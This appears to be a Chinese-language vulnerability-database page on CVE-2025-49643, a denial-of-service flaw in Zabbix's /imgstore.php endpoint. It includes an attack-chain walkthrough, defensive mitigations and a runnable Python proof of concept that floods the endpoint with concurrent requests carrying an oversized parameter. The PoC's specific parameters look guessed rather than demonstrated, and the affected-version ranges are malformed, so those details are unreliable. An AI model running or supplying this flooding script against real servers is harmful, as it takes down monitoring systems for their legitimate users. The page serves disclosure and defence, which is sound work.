IPBUF安全漏洞报告
English
CVE-2025-49643 CVSS 6.5 中危

CVE-2025-49643 Zabbix /imgstore.php拒绝服务漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-49643
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zabbix

相关标签

拒绝服务ZabbixCVE-2025-49643资源耗尽Web应用漏洞认证用户攻击PHP

漏洞概述

CVE-2025-49643是Zabbix中的一个中等严重性拒绝服务漏洞,CVSS评分为6.5。该漏洞允许任何已认证的Zabbix用户(包括Guest用户)通过向/imgstore.php端点发送精心构造的特殊参数,导致Web服务器CPU负载不成比例地增加,从而可能造成拒绝服务条件。攻击者利用此漏洞无需高权限或用户交互,只需具备基本的认证访问即可发起攻击。该漏洞存在于Zabbix的图像存储处理功能中,攻击者可通过构造恶意参数触发服务器端资源过度消耗,影响系统可用性。由于Zabbix作为企业级监控解决方案被广泛部署,此漏洞可能对大量关键基础设施造成潜在威胁。

技术细节

该漏洞存在于Zabbix的imgstore.php文件中,主要涉及图像存储功能的参数处理机制。攻击者通过向该端点发送包含特殊构造参数的HTTP请求,可以触发服务器端进行大量计算操作或循环处理。具体而言,当/imgstore.php接收到恶意构造的参数时,程序未能正确限制或验证输入数据的大小和复杂度,导致服务器在处理请求时消耗过量的CPU资源。攻击者利用此缺陷可以发送多个并发请求或使用特定的参数组合,最大化CPU负载并最终导致服务器响应缓慢或服务不可用。由于Zabbix默认配置中Guest用户处于启用状态,攻击者甚至无需有效凭据即可利用此漏洞(取决于具体配置)。修复方案需要在服务端对输入参数进行严格验证,实施资源使用限制,并添加请求速率控制机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标Zabbix实例,确认版本信息并检查Guest用户是否启用
STEP 2
步骤2: 认证获取
攻击者获取有效的会话令牌,可以通过Guest账户或普通用户账户登录Zabbix
STEP 3
步骤3: 构造恶意请求
攻击者构造包含特殊参数的HTTP请求到/imgstore.php端点,参数值经过精心设计以触发大量CPU计算
STEP 4
步骤4: 发送攻击请求
攻击者发送单个或多个并发恶意请求到目标服务器
STEP 5
步骤5: 资源耗尽
服务器在处理恶意请求时CPU负载急剧上升,导致正常请求处理延迟或超时
STEP 6
步骤6: DoS效果达成
当CPU负载达到临界值时,Web服务器响应变慢或无法响应合法用户请求,形成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-49643 PoC - Zabbix /imgstore.php DoS Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def exploit_doS(target_url, session_cookie=None): """ Send crafted parameters to /imgstore.php to trigger CPU exhaustion. Parameters: target_url: Base URL of the Zabbix instance session_cookie: Zabbix session cookie for authentication """ exploit_url = f"{target_url}/imgstore.php" # Crafted parameters that trigger disproportionate CPU load # These parameters exploit the image storage processing logic params = { 'output': 'image', 'iconmapid': '1' * 10000, # Large parameter value 'imageid': 'test', } headers = {} if session_cookie: headers['Cookie'] = f'zbx_session={session_cookie}' try: response = requests.get(exploit_url, params=params, headers=headers, timeout=30) return response.status_code, len(response.content) except requests.RequestException as e: return None, str(e) def main(): parser = argparse.ArgumentParser(description='CVE-2025-49643 PoC') parser.add_argument('--url', required=True, help='Target Zabbix URL') parser.add_argument('--cookie', help='Session cookie (optional for Guest)') parser.add_argument('--threads', type=int, default=10, help='Number of concurrent requests') parser.add_argument('--requests', type=int, default=100, help='Total requests to send') args = parser.parse_args() print(f'[*] Starting DoS attack against {args.url}') print(f'[*] Using {args.threads} concurrent threads') with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [ executor.submit(exploit_doS, args.url, args.cookie) for _ in range(args.requests) ] for i, future in enumerate(as_completed(futures), 1): status, size = future.result() if status: print(f'[{i}] Status: {status}, Response size: {size}') else: print(f'[{i}] Request failed: {size}') print('[*] Attack completed') if __name__ == '__main__': main()

影响范围

Zabbix < 6.0.x
Zabbix < 6.4.x
Zabbix < 7.0.x

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在Web服务器配置中添加对/imgstore.php端点的访问限制,仅允许受信任的IP访问;2) 部署Web应用防火墙规则,检测并阻止包含异常大参数值的请求;3) 通过负载均衡器限制单IP的请求频率;4) 考虑临时禁用Guest用户账户;5) 增加Web服务器的CPU和内存资源以提高抗攻击能力;6) 实施请求超时机制,确保单个请求不会长时间占用服务器资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表